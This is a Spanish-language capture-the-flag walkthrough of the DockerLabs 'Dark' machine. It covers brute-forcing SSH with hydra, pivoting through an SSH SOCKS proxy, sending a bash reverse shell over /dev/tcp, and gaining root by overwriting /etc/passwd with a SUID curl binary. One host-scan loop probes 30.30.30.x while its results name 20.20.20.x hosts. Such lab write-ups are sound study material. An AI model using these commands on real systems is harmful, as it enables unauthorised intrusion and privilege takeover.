DockerLabs Dark

DockerLabs Dark

Esta es una máquina de DockerLabs de nivel medio

·

5 min read

Para poder hacer uso de esta máquina primero debemos descargar los archivos y así desplegarlo con Docker.

Descargamos el archivo de la página dockerlabs.es/#

Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos 3 archivos

Para desplegar el laboratorio ejecutamos de la siguiente manera, así también podemos ver que nos indica la dirección que tendremos, así también el que hacer cuando terminemos este.

Primero debemos identificar cuál es la máquina a la que tenemos acceso. Para ello usaremos el comando ip a que nos mostrara todas las interfaces.

Si vamos buscando las otras redes podemos observar que tenemos otra red que indica up la cual es la 8 y nuestra dirección para esa IP es la 10.10.10.1.

Con ello en mente podemos saber cuál de las direcciones IP que debemos acceder para empezar. Si no nos indicaran que IP es la que debemos acceder, solo deberíamos realizar sudo nmap -sn 10.10.10.0/24 y como se puede observar se tienen las IP:

  • 10.10.10.1 ---> Nuestra IP

  • 10.10.10.2 ---> IP de máquina víctima

Ya que tuvimos la IP 10.10.10.2 realizaremos un ping para ver si obtenemos respuesta.

Realizamos un escaneo de la dirección IP y podemos observar que tenemos 2 puertos abiertos.

Al dirigirnos a la dirección web podemos observar que podemos ingresar URL's.

Tratamos de revisar si obtenemos algún directorio adicional y podemos encontrar uno llamado info.

Nos dirigimos al directorio solo observamos un texto interesante así también una dirección que debemos tener en cuenta para más adelante 20.20.20.3.

Ya que no hay mucho que ver, regresamos a la página principal y probamos agregando la URL de Google y vemos que sí tenemos respuesta.

Al enviar el URL podemos observar que se ven los resultados siguientes. Lo cual nos confirmaría que es vulnerable a Open Redirect, pero no nos es útil debido a que ese ataque está orientado más a phishing.

Ya que podemos observar el resultado recordemos que nos hablaba de que el usuario tenía una página ilegal con la dirección 20.20.20.3 Si ingresamos la dirección podemos observar otro buscador.

Luego de ello observamos que indica webilegal.com.

Como ahora sabemos que hay otro servicio, pero no tenemos más donde buscar usaremos hydra para obtener el password con el nombre que observamos en el mensaje. Luego de usar hydra podemos observar el password.

toni:banana

Como ya obtuvimos el password nos conectamos y podemos observar que ya estamos dentro de la primera máquina así también observamos la segunda red 20.20.20.2.

Probamos realizar un ping a la dirección que encontramos 20.20.20.3, pero no tenemos el comando ping.

Como desconocemos la dirección IP de la máquina, realizaremos un escaneo para identificar las direcciones IP habilitadas en este rango. Para ello debemos hacer lo siguiente. Usamos el siguiente script para identificar las direcciones IP

for i in {1..254}; do
    curl -s --connect-timeout 1 http://30.30.30.$i > /dev/null && echo "30.30.30.$i is up"
done

Podemos observar que encontró 2 y la dirección que encontró es la misma que observamos en el mensaje.

  • 20.20.20.2 => nuestra máquina.

  • 20.20.20.3 => Máquina a atacar.

Máquina 1 Dark1 (IP 10.10.10.2 - 20.20.20.2)

Para poder empezar con esta máquina aplicaremos un Dynamic Port Forwarding. Como ya tenemos las credenciales SSH primero debemos ingresar el comando.

ssh -D 1234 toni@10.10.10.2

Una vez hecha la conexión, tendremos que aplicar la siguiente configuración desde el fichero /etc/proxychains.conf:

[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5  127.0.0.1 1234

Con ello hecho ya deberíamos poder tener conectividad a ese punto. Escaneamos los puertos de la otra máquina 20.20.20.3 para poder observar cuáles tenemos disponibles y tenemos los puertos 80 y 20.

Como tenemos el puerto 80 para poder observar agregaremos el proxy en foxyproxy así tener conectividad y ya sabemos qué esperar.

Luego de activar el proxy

Al ingresar la dirección IP en el navegador web podemos observar la página que pudimos observar al comienzo.

Probamos ingresando un comando y podemos observar que se pueden ejecutar comandos.

Ya que podemos ejecutar usuario y no tenemos usuarios por cuáles hacer fuerza bruta, estableceremos una reverse shell. Nos dirigimos a la terminal de Toni e iniciamos nuestro listener.

Usando el siguiente comando usando la dirección IP con la que tenemos un portforwarding.

bash -c 'bash -i >& /dev/tcp/10.10.10.2/1235 0>&1'

Y enviamos la shell y podemos observar que ya tenemos conexión.

Si realizamos un hostname -I observamos que ya estamos en la red 20.20.20.3.

Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos

script /dev/null -c bash

luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty

stty raw -echo; fg
                reset xterm

para obtener más características usamos

export TERM=xterm

para la variable de entorno

echo $SHELL

y para pasar a bash usamos

export SHELL=/bin/bash

para establecer el tamaño adecuado de la consola ingresamos

stty rows 59 cols 236

de esta manera ya nos podemos mover con más libertad en la consola. Realizamos un sudo -l, pero no podemos observar, ya que no tenemos permisos y revisando los permisos SUID observamos que tenemos Curl.

Buscando sobre este binario en GFTOBins podemos observar lo siguiente.

Para poder aprovechar estos permisos copiaremos el archivo de /etc/passwd en el directorio /tmp.

Luego usando nano lo editaremos y de primera tenemos 2 opciones, la primera es editar el campo de root y retirarle la x y dejarlo de la siguiente manera.

También podríamos agregar un usuario al final y se vería de la siguiente manera.

Con el archivo modificado de la siguiente manera podemos realizar lo siguiente.

/usr/bin/curl file:///tmp/passwd -o /etc/passwd

Luego de ello podemos hacer un su root o un su gm4tsy de esta manera obteniendo acceso como root. De esta manera culminando esta máquina.